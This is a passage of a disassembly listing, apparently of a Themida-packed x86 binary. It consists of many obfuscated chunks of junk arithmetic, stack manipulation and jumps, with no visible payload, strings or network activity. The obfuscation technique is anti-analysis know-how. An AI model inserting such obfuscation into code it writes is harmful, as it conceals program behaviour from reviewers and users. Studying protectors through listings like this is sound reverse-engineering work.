		jmp	loc_5710C1
; ---------------------------------------------------------------------------


loc_56FBD0:				; CODE XREF: sub_55EDA7+79EFj
		add	ch, al
		sub	ch, 0C1h
		push	ax
		mov	ah, 79h
		add	ch, 2Ah
		jmp	loc_5607A7
; ---------------------------------------------------------------------------


loc_56FBE1:				; CODE XREF: sub_55EDA7+CEF1j
		mov	ebx, 569F145Fh
		neg	ebx
		add	ebx, 4879049Bh
		sub	ebx, 0F1D9F03Ah
		add	edi, ebx
		jmp	loc_56E118
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ebx
		push	2572h
		jmp	loc_56C668
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FC0C:				; CODE XREF: sub_55EDA7+D8EAj
		mov	ebx, 4
		add	ebp, 0AE661AFh
		jmp	loc_56804C
; ---------------------------------------------------------------------------


loc_56FC1C:				; CODE XREF: sub_55EDA7+C761j
		pop	esp
		jmp	loc_56FAB0
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		jmp	loc_570619
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FC2D:				; CODE XREF: sub_55EDA7+81AAj
		add	esp, 4
		neg	ecx
		push	esi
		mov	esi, 1493A8D2h
		xor	ecx, esi
		pop	esi
		jmp	loc_56D3FF
; ---------------------------------------------------------------------------


loc_56FC40:				; CODE XREF: sub_55EDA7+8C54j
		add	ebx, 1F104AA9h
		pop	esi
		sub	esp, 4
		mov	[esp+30h+var_32+2], ebx
		push	[esp+30h+var_2E+2]
		jmp	loc_572723
; ---------------------------------------------------------------------------


loc_56FC59:				; CODE XREF: sub_55EDA7-C7j
		mov	edx, 34A95EE3h
		xor	edx, 36485AE6h
		sub	edx, 6F5030A2h
		dec	edx
		sub	edx, 1E00A806h
		sub	ebp, edx
		jmp	loc_560151
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56FC78	proc near		; CODE XREF: sub_55EDA7+2C66j

; FUNCTION CHUNK AT 0056F48D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570B42 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, 49D27D94h
		inc	ebp
		shr	ebp, 5
		or	ebp, 4163324Ch
		shr	ebp, 1
		neg	ebp
		jmp	loc_56F48D
sub_56FC78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FC91:				; CODE XREF: sub_55EDA7+F04Fj
		dec	cl
		sub	cl, 0EDh
		shr	cl, 7
		add	cl, 0B3h
		mov	dl, cl
		pop	ecx
		jmp	sub_56C696
; ---------------------------------------------------------------------------


loc_56FCA4:				; CODE XREF: sub_55EDA7+25F4j
		mov	esi, 6FADAC59h
		jmp	loc_561F67
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F4D5


loc_56FCAE:				; CODE XREF: sub_56F4D5+3j
		add	al, bh
		pop	ebx
		add	al, ch
		sub	al, 0A1h
		pop	cx
		jmp	loc_56F396
; END OF FUNCTION CHUNK	FOR sub_56F4D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FCBC:				; CODE XREF: sub_55EDA7+F8C2j
		add	ebx, edx
		pop	edx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_55F36C
; ---------------------------------------------------------------------------


loc_56FCC7:				; CODE XREF: sub_55EDA7+134C4j
		shr	ebp, 7
		add	ebp, 62C86596h
		sub	ebp, 271137BBh
		sub	ebp, 5F3A55EEh
		or	ebp, 12B444DDh
		add	ebp, 257C3CC5h
		or	ebp, 35C0250Fh
		push	eax
		mov	eax, 0D222407h
		jmp	loc_565D0F
; ---------------------------------------------------------------------------


loc_56FCF9:				; CODE XREF: sub_55EDA7+7523j
		shr	edi, 1
		dec	edi
		xor	edi, 2FF316CBh
		jmp	loc_5727AA
; ---------------------------------------------------------------------------


loc_56FD07:				; CODE XREF: sub_55EDA7+EB2Bj
		add	ebx, 4
		jmp	loc_566D2E
; ---------------------------------------------------------------------------


loc_56FD0F:				; CODE XREF: sub_55EDA7+4DC4j
		add	esp, 4
		shl	ecx, 5
		push	edi
		jmp	loc_56445F
; ---------------------------------------------------------------------------


loc_56FD1E:				; CODE XREF: sub_55EDA7+E70Dj
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_56DE1C
; ---------------------------------------------------------------------------


loc_56FD29:				; CODE XREF: sub_55EDA7+D651j
		pop	ebx
		sub	edx, 4
		xor	edx, [esp+34h+var_36+2]
		xor	[esp+34h+var_36+2], edx
		xor	edx, [esp+34h+var_36+2]
		jmp	loc_55F423
; ---------------------------------------------------------------------------


loc_56FD3B:				; CODE XREF: sub_55EDA7+288Ej
		push	edi
		jmp	loc_568060
; ---------------------------------------------------------------------------


loc_56FD41:				; CODE XREF: sub_55EDA7+6D4j
		push	15Ah
		mov	[esp-0Ch+arg_8], ecx
		jmp	loc_5653AE
; ---------------------------------------------------------------------------


loc_56FD4E:				; CODE XREF: sub_55EDA7+CD0Aj
		mov	edi, 0AB758CEEh
		sub	edi, ebx
		pop	ebx
		xor	edi, 31056E02h
		push	edi
		dec	[esp+1Ah+var_1A]
		pop	edi
		push	edx
		mov	edx, 50DD46C2h
		and	edi, edx
		mov	edx, [esp+1Ah+var_1A]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_568D39
; ---------------------------------------------------------------------------


loc_56FD80:				; CODE XREF: sub_55EDA7+FB5Ej
		and	eax, 358C629Fh
		sub	eax, 31CCB13h
		push	1D29h
		mov	[esp+18h+var_1A+2], eax
		add	[esp+18h+var_1A+2], 7FFE236Ah
		pop	edi
		jmp	loc_565B8F
; ---------------------------------------------------------------------------


loc_56FD9F:				; CODE XREF: sub_55EDA7+60CEj
		mov	esi, [esp+2Ah+var_2A]
		jmp	loc_56BDCA
; ---------------------------------------------------------------------------


loc_56FDA7:				; CODE XREF: sub_55EDA7+AEF9j
		add	esp, 4
		sub	edx, 2BA83F6Dh
		sub	edx, 536C7D51h
		add	edx, ebp
		add	edx, 536C7D51h
		add	edx, 2BA83F6Dh
		pop	ebp
		add	[esp+6+var_4+2], edx
		jmp	loc_56852B
; ---------------------------------------------------------------------------


loc_56FDD1:				; CODE XREF: sub_55EDA7+10B8Fj
		add	[esp+2Ah+var_26], esi
		pop	esi
		pop	edx
		jmp	loc_567BDA
; ---------------------------------------------------------------------------


loc_56FDDC:				; CODE XREF: sub_55EDA7+C65Cj
		add	esp, 4
		push	ebx
		jmp	loc_56CCF6
; ---------------------------------------------------------------------------


loc_56FDE8:				; CODE XREF: sub_55EDA7+138ADj
		mov	[esp-2Ch+arg_28], edi
		push	[esp-2Ch+arg_2C]
		mov	edi, [esp-28h+arg_24]
		add	esp, 4
		pop	[esp-2Ch+arg_28]
		mov	esp, [esp-30h+arg_2C]
		movsx	cx, al
		push	small 4839h
		mov	word ptr [esp-2Eh+arg_28+2], cx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56FE0F:				; CODE XREF: sub_55EDA7+13117j
		add	edi, edx
		sub	edi, 1A7A52ADh
		pop	edx
		jmp	loc_56CC8F
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56FE1D	proc near		; CODE XREF: sub_55EDA7+2DEj

var_8		= dword	ptr -8

		push	ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	ebx, 4
		jmp	loc_55FADC
sub_56FE1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FE33:				; CODE XREF: sub_55EDA7+DC75j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56FE38:				; CODE XREF: sub_55EDA7+FDE5j
		add	bh, 75h
		sub	bh, dl
		sub	bh, 75h
		jmp	loc_55F4CA
; ---------------------------------------------------------------------------


loc_56FE45:				; CODE XREF: sub_55EDA7-74Bj
		pop	esi
		push	esi
		jmp	loc_568013
; ---------------------------------------------------------------------------


loc_56FE4C:				; CODE XREF: sub_55EDA7+5906j
		mov	esp, [esp-28h+arg_24]
		push	[esp-28h+arg_24]
		jmp	loc_57084A
; ---------------------------------------------------------------------------


loc_56FE57:				; CODE XREF: sub_55EDA7+93EAj
		pop	ecx
		add	esp, 4
		xor	eax, [esp+4+var_4]
		jmp	loc_56E28F
; ---------------------------------------------------------------------------


loc_56FE66:				; CODE XREF: sub_55EDA7+12662j
		add	esp, 4
		add	edx, 2
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		idiv	cl
		jmp	loc_55FF8E
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_56D8FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56FE8E:				; CODE XREF: sub_55EDA7+9D68j
		pop	edi
		add	edx, edi
		pop	edi
		add	edx, 0FA4E6087h
		sub	ebx, edx
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		sub	ebx, 607433EAh
		sub	ebx, ecx
		jmp	loc_5712E1
; ---------------------------------------------------------------------------


loc_56FEB0:				; CODE XREF: sub_55EDA7+B996j
		sub	ebx, 773C18FEh
		jmp	loc_56309C
; ---------------------------------------------------------------------------


loc_56FEBB:				; CODE XREF: sub_55EDA7-39Ej
		add	edi, 51A026C2h
		push	ebx
		mov	ebx, 55C53CDAh
		and	ebx, 388019ACh
		shl	ebx, 6
		add	ebx, 63080A47h
		add	ebx, 54BB779Dh
		sub	ebx, 94E1416Ch
		jmp	loc_572925
; ---------------------------------------------------------------------------


loc_56FEE7:				; CODE XREF: sub_55EDA7+2E49j
		mov	[esp+0], ecx
		mov	cl, 0C5h
		jmp	loc_5678E4
; ---------------------------------------------------------------------------


loc_56FEF1:				; CODE XREF: sub_55EDA7+12B1Bj
		shl	word ptr [esp+0], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56FEFB:				; CODE XREF: sub_55EDA7+8DDEj
		mov	ebx, 4E9D46C6h
		add	ebx, 0B162B93Eh
		mov	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		jmp	loc_571BAA
; ---------------------------------------------------------------------------


loc_56FF17:				; CODE XREF: sub_55EDA7+BCADj
		push	esp
		jmp	loc_55E33D
; ---------------------------------------------------------------------------


loc_56FF1D:				; CODE XREF: sub_55EDA7+BFF9j
		push	[esp-1Ch+arg_18]
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_572B68
; ---------------------------------------------------------------------------


loc_56FF3A:				; CODE XREF: sub_55EDA7+1204Ej
		push	3074h
		mov	[esp-14h+arg_10], ebp
		mov	ebp, ebx
		jmp	loc_562B7F
; ---------------------------------------------------------------------------


loc_56FF49:				; CODE XREF: sub_55EDA7+2ABCj
		sub	eax, 2F91EB3h
		jmp	loc_565FD2
; ---------------------------------------------------------------------------


loc_56FF53:				; CODE XREF: sub_55EDA7+3A1Ej
		push	edx
		push	[esp-30h+arg_30]
		pop	edx
		pop	[esp-30h+arg_2C]
		pop	esp
		push	4197h
		mov	[esp-34h+arg_30], esi
		mov	si, 592Bh
		shl	si, 7
		shl	si, 2
		push	ecx
		push	edi
		push	small 2EFCh
		pop	di
		dec	di
		shl	di, 8
		xor	di, 0BFC5h
		mov	cx, di
		pop	edi
		neg	cx
		dec	cx
		jmp	loc_567A23
; ---------------------------------------------------------------------------


loc_56FF92:				; CODE XREF: sub_55EDA7+C9EEj
		push	6841h
		mov	[esp+24h+var_26+2], eax
		mov	al, cl
		mov	bh, al
		pop	eax
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		shr	bh, 7
		jmp	loc_568806
; ---------------------------------------------------------------------------


loc_56FFB0:				; CODE XREF: sub_55EDA7+793j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56F6F2
; ---------------------------------------------------------------------------


loc_56FFBD:				; CODE XREF: sub_55EDA7+F0EFj
		xor	ebp, 36DE7A38h
		or	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 0A0162C2h
		xor	ebx, 6F045899h
		jmp	loc_55EE27
; ---------------------------------------------------------------------------


loc_56FFD7:				; CODE XREF: sub_55EDA7+3775j
		mov	ebp, 40A928D0h
		inc	ebp
		add	ebp, 3CE54F23h
		and	ebp, 7FDE6A24h
		xor	ebp, 9CE181C1h
		sub	ecx, ebp
		pop	ebp
		xor	edx, ecx
		pop	ecx
		jmp	loc_56809E
; ---------------------------------------------------------------------------


loc_56FFFA:				; CODE XREF: sub_55EDA7+6106j
		pop	eax
		mov	ebx, [esp+28h+var_2A+2]
		add	esp, 4
		add	al, 0D6h
		add	al, dl
		sub	al, 0D6h
		push	[esp+24h+var_26+2]
		pop	edx
		add	esp, 4
		push	72DDh
		mov	[esp+24h+var_26+2], ebx
		sub	esp, 4
		mov	[esp+28h+var_2A+2], eax
		push	edx
		jmp	loc_56E8C5
; ---------------------------------------------------------------------------


loc_570025:				; CODE XREF: sub_55EDA7+E304j
		add	eax, 57BA535Bh
		jmp	loc_571814
; ---------------------------------------------------------------------------


loc_57002F:				; CODE XREF: sub_55EDA7+3644j
		mov	ebx, 63450E51h
		xor	eax, ebx
		pop	ebx
		sub	eax, 52FA8DCh
		mov	ebp, eax
		mov	eax, [esp-18h+arg_14]
		add	esp, 4
		add	edi, 28F553FCh
		add	edi, 56D672C0h
		sub	edi, 3BCB0D8Bh
		add	edi, ebp
		add	edi, 3BCB0D8Bh
		sub	edi, 56D672C0h
		jmp	loc_56E5CA
; ---------------------------------------------------------------------------


loc_570069:				; CODE XREF: sub_55EDA7+A3D6j
		mov	[esp-0Ch+arg_8], eax
		push	esp
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		mov	edi, 614B1ED2h
		shl	edi, 1
		not	edi
		add	edi, 0C2963DA9h
		jmp	loc_56C52F
; ---------------------------------------------------------------------------


loc_570093:				; CODE XREF: sub_55EDA7+12A9Cj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], edi
		mov	edi, 7A227192h
		and	edi, 4ECE3439h
		push	ebx
		mov	ebx, 556B663Eh
		or	edi, ebx
		jmp	loc_55EB17
; ---------------------------------------------------------------------------


loc_5700BD:				; CODE XREF: sub_55EDA7+A599j
		add	eax, 13A8270Eh
		pop	ecx
		mov	ecx, [esp-24h+arg_20]
		jmp	loc_565F65
; ---------------------------------------------------------------------------


loc_5700CB:				; CODE XREF: sub_55EDA7+121E9j
		mov	edi, 3A361DC8h
		sub	edx, 28CE28AAh
		jmp	loc_56C8E7
; ---------------------------------------------------------------------------


loc_5700DB:				; CODE XREF: sub_55EDA7+BD86j
		push	edi
		jmp	loc_56027D
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_5700E1	proc near		; CODE XREF: sub_55EDA7+427Cj
		push	ebx
		jmp	loc_56675F
sub_5700E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5700E7:				; CODE XREF: sub_55EDA7+1E0Ej
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_565289
; ---------------------------------------------------------------------------


loc_5700F0:				; CODE XREF: sub_55EDA7+C43Dj
		add	bl, 5Fh
		sub	bl, al
		jmp	loc_568EEA
; ---------------------------------------------------------------------------


loc_5700FA:				; CODE XREF: sub_55EDA7+5C4Ej
		sub	edi, 0AE61FFB9h
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp+34h+var_36+2]
		pop	esp
		mov	[esp+30h+var_32+2], esp
		push	166h
		mov	[esp+34h+var_36+2], ebx
		push	4
		jmp	loc_564618
; ---------------------------------------------------------------------------


loc_57011C:				; CODE XREF: sub_55EDA7+7945j
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_56EDFD
; ---------------------------------------------------------------------------


loc_570125:				; CODE XREF: sub_55EDA7+819j
		or	eax, 2D9B3387h
		shr	eax, 8
		jmp	loc_563DAA
; ---------------------------------------------------------------------------


loc_570132:				; CODE XREF: sub_55EDA7+8C6Aj
		pop	ebx
		push	edx
		jmp	loc_561E5E
; ---------------------------------------------------------------------------


loc_570139:				; CODE XREF: sub_55EDA7+5692j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_57013E:				; CODE XREF: sub_55EDA7+1766j
		pop	edi
		mov	ecx, [esp-16h+arg_10+2]
		jmp	loc_5686DD
; ---------------------------------------------------------------------------


loc_570147:				; CODE XREF: sub_55EDA7+C04Cj
		mov	[esp+8+var_8], esp
		jmp	loc_56E6C4
; ---------------------------------------------------------------------------


loc_57014F:				; CODE XREF: sub_55EDA7+1009Cj
		xor	eax, ecx
		pop	ecx
		push	581Dh
		mov	[esp+54h+var_54], edx
		mov	edx, 5BDD0618h
		add	eax, edx
		pop	edx
		and	eax, 2BA64782h
		sub	eax, 79330BDFh
		sub	ebx, 5C360F47h
		add	ebx, eax
		add	ebx, 5C360F47h
		jmp	loc_55ED1C
; ---------------------------------------------------------------------------


loc_57017F:				; CODE XREF: sub_55EDA7+13CDj
		push	ecx
		push	126113A1h
		jmp	loc_55FA24
; ---------------------------------------------------------------------------


loc_57018A:				; CODE XREF: sub_55EDA7+76FDj
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-3Ch+arg_38]
		pop	esp
		jmp	loc_572B55
; ---------------------------------------------------------------------------


loc_57019E:				; CODE XREF: sub_55EDA7+6692j
		mov	edi, esp
		jmp	loc_56CE56
; ---------------------------------------------------------------------------


loc_5701A5:				; CODE XREF: sub_55EDA7+56A7j
		inc	esi
		jmp	loc_568FB1
; ---------------------------------------------------------------------------


loc_5701AB:				; CODE XREF: sub_55EDA7+1201Cj
		push	[esp+arg_0]
		pop	esi
		pop	dword ptr [esp+0]
		jmp	loc_571C33
; ---------------------------------------------------------------------------


loc_5701B8:				; CODE XREF: sub_55EDA7+8E60j
		sub	ebx, 4
		jmp	loc_56A862
; ---------------------------------------------------------------------------


loc_5701C0:				; CODE XREF: sub_55EDA7+10AC6j
		add	eax, ebx
		sub	eax, 4084028Ah
		jmp	loc_560321
; ---------------------------------------------------------------------------


loc_5701CC:				; CODE XREF: sub_55EDA7+6A69j
		sub	ebp, 4
		jmp	loc_569AEB
; ---------------------------------------------------------------------------


loc_5701D4:				; CODE XREF: sub_55EDA7+A002j
		pop	eax
		pop	eax
		xor	esi, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], esi
		jmp	loc_56922C
; ---------------------------------------------------------------------------


loc_5701E1:				; CODE XREF: sub_55EDA7+5B35j
		pop	edx
		xor	eax, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], eax
		jmp	loc_5624C6
; ---------------------------------------------------------------------------


loc_5701ED:				; CODE XREF: sub_55EDA7+B83Fj
		pop	esp
		jmp	loc_56360E
; ---------------------------------------------------------------------------


loc_5701F3:				; CODE XREF: sub_55EDA7+630Fj
		sub	ebp, 103228BAh
		pop	edx
		xor	ebp, [esp+2Ch+var_2E+2]
		jmp	loc_55FC94
; ---------------------------------------------------------------------------


loc_570202:				; CODE XREF: sub_55EDA7+F24Aj
		push	[esp-12h+arg_10+2]
		mov	edx, [esp-0Eh+arg_8+2]
		jmp	loc_56A26E
; ---------------------------------------------------------------------------


loc_57020E:				; CODE XREF: sub_55EDA7+8D83j
		xor	ah, cl
		pop	ecx
		sub	ch, 7Ah
		jmp	loc_568696
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_570219:				; CODE XREF: Themida_:0057135Aj
		xor	eax, ebx
		push	esi
		mov	esi, 3F6972D3h
		xchg	edx, esi
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, esi
		jmp	loc_56C47C
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 40F16852h
		sub	eax, ebx
		push	edx
		push	ebx
		mov	ebx, 0C311516h
		jmp	loc_566DDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570243:				; CODE XREF: sub_55EDA7+DFFj
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		jmp	loc_5640DC
; ---------------------------------------------------------------------------


loc_57024E:				; CODE XREF: sub_55EDA7+12C09j
		not	edx
		not	edx
		inc	edx
		xor	edx, 57F54DE5h
		add	edx, 1
		add	edx, 0DFDD32AEh
		mov	ebp, edx
		pop	edx
		or	edi, ebp
		pop	ebp
		jmp	loc_562F62
; ---------------------------------------------------------------------------


loc_57026D:				; CODE XREF: sub_55EDA7+8CA0j
		add	eax, ebx
		jmp	loc_56A37C
; ---------------------------------------------------------------------------


loc_570274:				; CODE XREF: sub_55EDA7+EDA9j
		add	ch, ah
		pop	eax
		add	al, 15h
		sub	al, 0DBh
		add	al, ch
		push	edx
		jmp	loc_56CB9F
; ---------------------------------------------------------------------------


loc_570283:				; CODE XREF: sub_55EDA7+1EFBj
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_56292F
; ---------------------------------------------------------------------------


loc_57028C:				; CODE XREF: sub_55EDA7+6E5Cj
		xor	esi, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		jmp	sub_55E2EC
; ---------------------------------------------------------------------------


loc_570297:				; CODE XREF: sub_55EDA7+A886j
		push	ecx
		mov	ecx, 47DC5332h
		shr	ecx, 7
		xor	ecx, 3293060Bh
		jmp	loc_5724F0
; ---------------------------------------------------------------------------


loc_5702AB:				; CODE XREF: sub_55EDA7+3D03j
		shl	eax, 2
		shl	eax, 4
		xor	eax, 0F49B39C4h
		sub	edi, eax
		pop	eax
		jmp	loc_56E7FE
; ---------------------------------------------------------------------------


loc_5702BE:				; CODE XREF: sub_55EDA7+EA80j
		push	edi
		mov	edi, 36146295h
		not	edi
		jmp	loc_565D3F
; ---------------------------------------------------------------------------


loc_5702CB:				; CODE XREF: sub_55EDA7+D3D8j
		xor	ebp, 69612B76h
		add	ebp, 0C78FF9B6h
		jmp	loc_5709A4
; ---------------------------------------------------------------------------


loc_5702DC:				; CODE XREF: sub_55EDA7+599Cj
		mov	ebp, 34695C6Fh
		dec	ebp
		add	ebp, 0DC59FB92h
		add	esi, ebp
		pop	ebp
		add	esi, ecx
		sub	esi, 10C35800h
		mov	ecx, [esp+1Ch+var_1E+2]
		add	esp, 4
		xor	edi, esi
		pop	esi
		push	esi
		mov	esi, 45BC69BFh
		jmp	loc_56A841
; ---------------------------------------------------------------------------


loc_57030A:				; CODE XREF: sub_55EDA7+1060Aj
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		xor	ebp, 5FEDFFFBh
		push	0F08h
		mov	[esp+0Eh+var_E], ebp
		pop	ecx
		pop	ebp
		jmp	loc_56D153
; ---------------------------------------------------------------------------


loc_570325:				; CODE XREF: sub_55EDA7+544Cj
		pop	eax
		jmp	sub_56F095
; ---------------------------------------------------------------------------


loc_57032B:				; CODE XREF: sub_55EDA7+1FCEj
		xchg	eax, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], esp
		jmp	loc_572270
; ---------------------------------------------------------------------------


loc_570337:				; CODE XREF: sub_55EDA7+133D9j
		mov	esp, [esp-1Ch+arg_18]
		mov	dx, word ptr [esp-1Ch+arg_18]
		jmp	loc_55F0E2
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_570343:				; DATA XREF: Themida_:0055DFF4o
		mov	eax, [esp]
		jmp	loc_56B538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57034B:				; CODE XREF: sub_55EDA7+122A4j
		dec	dl
		push	ebx
		mov	bl, 0D1h
		and	dl, bl
		pop	ebx
		neg	dl
		sub	dl, 8Fh
		sub	bh, dl
		pop	edx
		jmp	loc_570FC9
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_571A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570369:				; CODE XREF: sub_55EDA7+C01Ej
		not	ebx
		xchg	ebx, esi
		add	esi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 4B450FF6h
		shr	ecx, 8
		inc	ecx
		push	ebx
		jmp	loc_56D01C
; ---------------------------------------------------------------------------


loc_570383:				; CODE XREF: sub_55EDA7+B4B2j
		push	3A875B24h
		mov	esi, [esp-10h+arg_C]
		add	esp, 4
		push	ecx
		mov	ecx, 3A875B18h
		xor	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-10h+arg_C], esi
		jmp	loc_567E5A
; ---------------------------------------------------------------------------


loc_5703A5:				; CODE XREF: sub_55EDA7+2EB1j
		pop	ebp
		jmp	loc_56227F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C696


loc_5703AB:				; CODE XREF: sub_56C696+Aj
		push	ax
		mov	ah, 0FFh
		add	bh, ah
		pop	ax
		not	bh
		jmp	loc_56A801
; END OF FUNCTION CHUNK	FOR sub_56C696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5703BA:				; CODE XREF: sub_55EDA7+571Aj
		push	esp
		pop	[esp+18h+var_1A+2]
		push	edx
		jmp	loc_56A4FA
; ---------------------------------------------------------------------------


loc_5703C4:				; CODE XREF: sub_55EDA7+ACB1j
		pop	esi
		sub	eax, 2F454D9Bh
		add	ebx, 517B7309h
		add	ebx, eax
		sub	ebx, 517B7309h
		pop	eax
		push	ebx
		jmp	loc_56EF80
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_5718C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5703E6:				; CODE XREF: sub_55EDA7+17DCj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-16h+arg_10+2]
		jmp	loc_56679B
; ---------------------------------------------------------------------------


loc_5703FD:				; CODE XREF: sub_55EDA7+582Cj
		mov	cx, word ptr [esp-12h+arg_C+2]
		add	esp, 2
		shl	bl, 2
		jmp	loc_561B9B
; ---------------------------------------------------------------------------


loc_57040C:				; CODE XREF: sub_55EDA7+1379Cj
		mov	[esp-16h+arg_10+2], edx
		push	ebx
		jmp	loc_56CD4B
; ---------------------------------------------------------------------------


loc_570415:				; CODE XREF: sub_55EDA7+CA5j
		pop	ebp
		jmp	loc_569145
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_57041B	proc near		; CODE XREF: sub_55EDA7+3E18j
		push	ebp
		mov	ebp, 153D3751h
		add	esi, ebp
		jmp	loc_560EEF
sub_57041B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_570428:				; CODE XREF: sub_55EDA7+B449j
		pop	esi
		xor	eax, ebx
		pop	ebx
		jmp	loc_56A76D
; ---------------------------------------------------------------------------


loc_570431:				; CODE XREF: sub_55EDA7-3AFj
		pop	esp
		and	[esp-30h+arg_2C], eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_57043B:				; CODE XREF: sub_55EDA7+6C37j
		xor	ebp, 0D366310Fh
		mov	ebx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	ebx, 144EB4B1h
		mov	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		sub	ebx, eax
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	123Ch
		mov	[esp-8+arg_4], edx
		jmp	loc_5727FB
; ---------------------------------------------------------------------------


loc_57047F:				; CODE XREF: sub_55EDA7+B36Aj
		add	edi, 6AFB4906h
		pop	edx
		sub	esp, 4
		jmp	loc_5633BD
; ---------------------------------------------------------------------------


loc_570491:				; CODE XREF: sub_55EDA7+365Ej
		and	[edi+1Ch], eax
		pop	eax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_57049A:				; CODE XREF: sub_55EDA7+F1ABj
		mov	bl, 9Ah
		not	bl
		sub	bl, 0D3h
		add	bl, 83h
		mov	al, 5
		add	al, 8
		add	al, bl
		jmp	loc_568BB6
; ---------------------------------------------------------------------------


loc_5704AF:				; CODE XREF: sub_55EDA7+9D71j
		mov	eax, 2023A34h
		or	ecx, eax
		pop	eax
		sub	ecx, 1
		sub	ecx, 9F7C6789h
		mov	ebx, ecx
		pop	ecx
		push	2E9Ch
		mov	[esp+4+var_4], ebx
		mov	ebx, 21203E2h
		sub	eax, ebx
		jmp	loc_567A46
; ---------------------------------------------------------------------------


loc_5704DA:				; CODE XREF: sub_55EDA7+EE66j
		xor	esi, 70604067h
		jmp	loc_56F5E8
; ---------------------------------------------------------------------------


loc_5704E5:				; CODE XREF: sub_55EDA7+9A08j
